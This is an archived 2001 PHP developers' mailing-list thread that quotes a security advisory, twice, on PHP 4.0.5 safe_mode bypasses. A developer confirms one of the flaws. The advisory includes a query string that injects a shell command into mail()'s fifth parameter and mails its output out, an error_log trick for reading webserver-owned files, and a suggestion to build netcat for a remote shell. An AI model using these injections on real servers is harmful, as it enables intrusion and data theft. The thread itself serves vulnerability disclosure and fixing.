[PHP-DEV] Safe mode hole in mail()
Hi,
has this been recognized already? a quick look on the archives said no.
snip
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Date: Sat, 30 Jun 2001 12:40:06 +0200
From: Joost Pol [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: php breaks safe mode
User-Agent: Mutt/1.2.5i
X-Keywords:
X-UID: 156
Laberatoire Contempt
Date : 12/06/2001
Author : Joost Pol alias 'Nohican' ([EMAIL PROTECTED])
Impact : Minor in most cases.
Subject : PHP safe_mode troubles.
1. PHP Version 4.0.5 breaks safe-mode.
1.0 - Description of the problem
An extra 5th parameter was added to the mail() command breaking
safemode:
- snippet of the code in mail.c (lines 156-165)
if (extra_cmd != NULL) {
sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
strcpy (sendmail_cmd, sendmail_path);
strcat (sendmail_cmd, );
strcat (sendmail_cmd, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}
sendmail = popen(sendmail_cmd, w);
} }
- end of code snippet
The popen() function is the C library function popen(3).
An attacker could easily upload a simple evil.php script containing:
? mail(foo@bar,foo,bar,,$bar); ?
Then the script could be invoked using a simple query like:
http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED]
1.1 Impact
Well, first of all it renders an important part of safe_mode useless.
Two examples come to mind:
1.1.1 Example 1
A customer has bougt some web space from a provider and is given
only
ftp access to upload his files. The customer is not supposed to have
shell access nor view files outside of his home directory.
The customer could easily upload and compile a lite version of the
popular netcat tool (cd /usr/ports/*/netcat;make clean;makemake
install)and spawn him self a remote shell on the hosting boxen.
If something like suexec is not used by the provider, the shell
spawned
could in fact be a nobody (uid of webserver) shell. This could
make
the situation even worse.
Situations where (virtual) hosting machines are used in a host-based
authentication scheme, i am not even willing to *consider*.
1.1.2 Example 2
A customer has bought some web space from a provider and was given
a shell account on the hosting boxen.
If something similiar to suexec is not running the customer could
spawn
him self a nobody (www, web, uid of webserver) shell. (1.1.1)
The impact of this varies on a per setup/provider basis.
Most providers just dont *expect* someone to have a shell with the
uid
of the webserver on the hosting box.
Internal scripts, database schemes and database password are
commonly
(but sadly) left owned by the uid/gid of the webserver. These become
vulnerable.
Even webserver configuration files (httpd.conf) and *complete*
webserver
roots owned by the uid/gid of the webserver have been observed in
the wild.
Experience learns that when unexepected-nobody access is gained on a
(virtual) hosting machine bad things are bound to happen sooner or
later.
1.2 - Solution
Well, obviously just a slip of the PHP-team.
5th argument to mail() should not be honored in safe_mode. (MHO)
2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.
2.0 - Description of the problem
PHP safe_mode has the nice feature of disallowing the opening/reading
and writing to files that are not owned by the uid that the script
is owned by.
Though using some common sense it still is possible to open/read
and write to files that are owned by the uid the webserver is
running as.
*notice* assuming that something like suexec is not in place */notice*
An attacker could upload a simple script that does the following:
?
$cmd = '? showsource($foo); ?';
error_log($cmd,3,/path/to/user/wwwspace/nobody.php);
?
For example, assuming that the error_log is owned by the webserver it
could be read using a simple query:
http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log
2.1 - Impact
Depends on the setup of the hosting box.
If suexec or something similiar is used, impact is nihil.
See also 1.1.1/1.1.2
2.3 - Solution
Disallow the changing of the error_log location in safe_mode?
Not really for me to say, the PHP-team will come with something good.
Notice: just changing the error_log function wont do, you could also
Re: [PHP-DEV] Safe mode hole in mail()
On Mon, 2 Jul 2001, Jan Lehnardt wrote:
Hi,
has this been recognized already? a quick look on the archives said no.
Yes, this is valid. I will fix this tonight. (The first problem)
Derick
snip
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Date: Sat, 30 Jun 2001 12:40:06 +0200
From: Joost Pol [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: php breaks safe mode
User-Agent: Mutt/1.2.5i
X-Keywords:
X-UID: 156
Laberatoire Contempt
Date : 12/06/2001
Author : Joost Pol alias 'Nohican' ([EMAIL PROTECTED])
Impact : Minor in most cases.
Subject : PHP safe_mode troubles.
1. PHP Version 4.0.5 breaks safe-mode.
1.0 - Description of the problem
An extra 5th parameter was added to the mail() command breaking
safemode:
- snippet of the code in mail.c (lines 156-165)
if (extra_cmd != NULL) {
sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
strcpy (sendmail_cmd, sendmail_path);
strcat (sendmail_cmd, );
strcat (sendmail_cmd, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}
sendmail = popen(sendmail_cmd, w);
} }
- end of code snippet
The popen() function is the C library function popen(3).
An attacker could easily upload a simple evil.php script containing:
? mail(foo@bar,foo,bar,,$bar); ?
Then the script could be invoked using a simple query like:
http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED]
1.1 Impact
Well, first of all it renders an important part of safe_mode useless.
Two examples come to mind:
1.1.1 Example 1
A customer has bougt some web space from a provider and is given
only
ftp access to upload his files. The customer is not supposed to have
shell access nor view files outside of his home directory.
The customer could easily upload and compile a lite version of the
popular netcat tool (cd /usr/ports/*/netcat;make clean;makemake
install) and spawn him self a remote shell on the hosting boxen.
If something like suexec is not used by the provider, the shell
spawned
could in fact be a nobody (uid of webserver) shell. This could
make
the situation even worse.
Situations where (virtual) hosting machines are used in a host-based
authentication scheme, i am not even willing to *consider*.
1.1.2 Example 2
A customer has bought some web space from a provider and was given
a shell account on the hosting boxen.
If something similiar to suexec is not running the customer could
spawn
him self a nobody (www, web, uid of webserver) shell. (1.1.1)
The impact of this varies on a per setup/provider basis.
Most providers just dont *expect* someone to have a shell with the
uid
of the webserver on the hosting box.
Internal scripts, database schemes and database password are
commonly
(but sadly) left owned by the uid/gid of the webserver. These become
vulnerable.
Even webserver configuration files (httpd.conf) and *complete*
webserver
roots owned by the uid/gid of the webserver have been observed in
the wild.
Experience learns that when unexepected-nobody access is gained on a
(virtual) hosting machine bad things are bound to happen sooner or
later.
1.2 - Solution
Well, obviously just a slip of the PHP-team.
5th argument to mail() should not be honored in safe_mode. (MHO)
2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.
2.0 - Description of the problem
PHP safe_mode has the nice feature of disallowing the opening/reading
and writing to files that are not owned by the uid that the script
is owned by.
Though using some common sense it still is possible to open/read
and write to files that are owned by the uid the webserver is
running as.
*notice* assuming that something like suexec is not in place */notice*
An attacker could upload a simple script that does the following:
?
$cmd = '? showsource($foo); ?';
error_log($cmd,3,/path/to/user/wwwspace/nobody.php);
?
For example, assuming that the error_log is owned by the webserver it
could be read using a simple query:
http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log
2.1 - Impact
Depends on the setup of the hosting box.
If suexec or something similiar is used, impact is nihil.
See also 1.1.1/1.1.2
2.3 - Solution
Disallow the changing of the error_log location in safe_mode?
Not really for me to say, the PHP-team will come with something
